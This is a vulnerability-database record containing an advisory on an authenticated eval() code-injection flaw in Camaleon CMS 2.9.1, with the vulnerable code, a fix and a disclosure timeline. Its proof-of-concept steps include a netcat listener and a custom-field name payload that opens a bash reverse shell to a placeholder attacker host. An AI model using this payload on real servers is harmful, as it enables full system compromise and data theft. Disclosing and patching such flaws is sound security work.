{"uuid": "7604c8a4-dc7a-4b63-a997-583492a184d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66748", "type": "seen", "source": "https://gist.github.com/tikeii275-cyber/b2ca180f989ff591c3dce6ffcf47a7b3", "content": "# Camaleon CMS \u2014 Authenticated RCE via `eval()` in Custom Field i18n Rendering\n\n## 1. Executive Summary\n\n| Item | Details |\n|---|---|\n| Vulnerability Name | Server-Side Code Injection via `eval()` in Custom Field Name (i18n rendering) |\n| Application | Camaleon CMS (`owen2345/camaleon-cms`) |\n| Affected Version | 2.9.1 and earlier |\n| Fixed Version | 2.9.2 (PR #1129) |\n| Vulnerability Type | Remote Code Execution (RCE) |\n| CWE | CWE-94 (Improper Control of Generation of Code) |\n| Severity | High \u2014 CVSS 3.1 **7.2** (`AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H`) |\n| Authentication | Required (administrative privileges) |\n| Discovery Date | 2026-02-02 |\n| Reporters | Nguyen Trung Kien, Mohammad KH Yaseen |\n\n## 2. Vulnerability Description\n\nCamaleon CMS version 2.9.1 (and earlier) is vulnerable to Remote Code Execution within\nthe custom-field name processing logic.\n\nThe helper function `cama_print_i18n_value()` in `html_helper.rb` passes any value\nstarting with `t(` to Ruby's `eval()` after a string substitution, without any validation\nor sanitization. An authenticated user with administrative privileges can inject arbitrary\nRuby code through the **Name** attribute of a custom field (specifically the Check Box\ntype), achieving arbitrary code execution on the server with the privileges of the web\nserver process.\n\n## 3. Vulnerable Code Analysis\n\n- **File:** `app/helpers/camaleon_cms/html_helper.rb`\n- **Lines:** 142\u2013143\n\n```ruby\n# execute translation for value if this value is like: t(admin.my_test) ==> My Text\ndef cama_print_i18n_value(value)\n  value.start_with?('t(') ? eval(value.sub('t(', 'I18n.t(')) : value\nend\n```\n\n**Technical flaws:**\n\n- The function checks whether a value starts with `t(`, rewrites that prefix to `I18n.t(`,\n  and passes the result directly to `eval()`.\n- No input validation is performed, allowing arbitrary Ruby code injection.\n- **Payload mechanism:** a payload like `t(system('command'))` is rewritten to\n  `I18n.t(system('command'))`. In Ruby, the inner `system('command')` is evaluated first\n  (to produce the argument to `I18n.t`), so the attacker-controlled command executes.\n\n## 4. Steps to Reproduce (Proof of Concept)\n\n**Prerequisites:** administrative access to the Camaleon CMS dashboard.\n\n1. Start a listener on the attacker's machine:\n   ```\n   nc -lvnp 5555\n   ```\n2. Log in to the Admin Panel and navigate to: **Settings \u2192 Custom Fields \u2192 New**.\n3. Create a new custom field group:\n   - Name: `Test`\n   - Where to display: `Post`\n4. Add a field of type **Check Box** with the following **Name**:\n   ```\n   t(system('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1\"'))\n   ```\n5. Click **Submit** to save.\n6. Navigate to: **Contents \u2192 Posts \u2192 Add New**.\n7. **Result:** the field renders, `eval()` fires, and a reverse shell is established to the\n   attacker's machine.\n\n## 5. Impact Assessment\n\n| Impact | Description |\n|---|---|\n| Confidentiality | High \u2014 attacker can access all sensitive data on the server |\n| Integrity | High \u2014 attacker can modify or delete critical system files and data |\n| Availability | High \u2014 attacker can shut down services or crash the server |\n\n**Critical risks:** full system compromise; theft of databases, environment variables, and\ncredentials; installation of persistent backdoors or malware.\n\n## 6. Remediation\n\nRemove `eval()` and avoid dynamic code execution. Extract the key safely and restrict it to\na valid translation-key pattern:\n\n```ruby\ndef cama_print_i18n_value(value)\n  if value.start_with?('t(') && value.end_with?(')')\n    key = value[2..-2] # content between t( and )\n    key.match?(/\\A[\\w.]+\\z/) ? I18n.t(key) : value\n  else\n    value\n  end\nend\n```\n\nThis fix was applied by the maintainer in PR #1129 (released in v2.9.2).\n\n## 7. Distinction from CVE-2026-66748 (Not a Duplicate)\n\nThis vulnerability is **distinct** from CVE-2026-66748, despite both being RCE issues in\nCamaleon CMS custom fields fixed in the 2.9.2 release.\n\n| | This report (PR #1129) | CVE-2026-66748 |\n|---|---|---|\n| Function / sink | `cama_print_i18n_value()` \u2192 `eval()` | `select_eval` field \u2192 `instance_eval(field.options[:command])` |\n| File | `html_helper.rb` | `_select_eval.html.erb` |\n| Injection point | Custom field **Name** (`t(...)` prefix) | `select_eval` field option `command` |\n| Fix | PR #1129 | commit `15882366` |\n\nDifferent root cause, different function, different code path, and a separate fix. They are\nnot duplicates.\n\n## 8. Timeline\n\n- **2026-02-02** \u2014 Discovered.\n- **2026-04** (approx.) \u2014 Reported to the CVE Program.\n- **2026-05** (approx.) \u2014 Fixed by the maintainer in PR #1129 (v2.9.2).\n\nThis discovery and fix **predate** CVE-2026-66748 (reserved 2026-07-27).\n\n## 9. References\n\n- Fix (PR #1129): https://github.com/owen2345/camaleon-cms/pull/1129\n- Changelog (2.9.2): https://github.com/owen2345/camaleon-cms/blob/master/CHANGELOG.md", "creation_timestamp": "2026-10-01T17:23:09.000000Z"}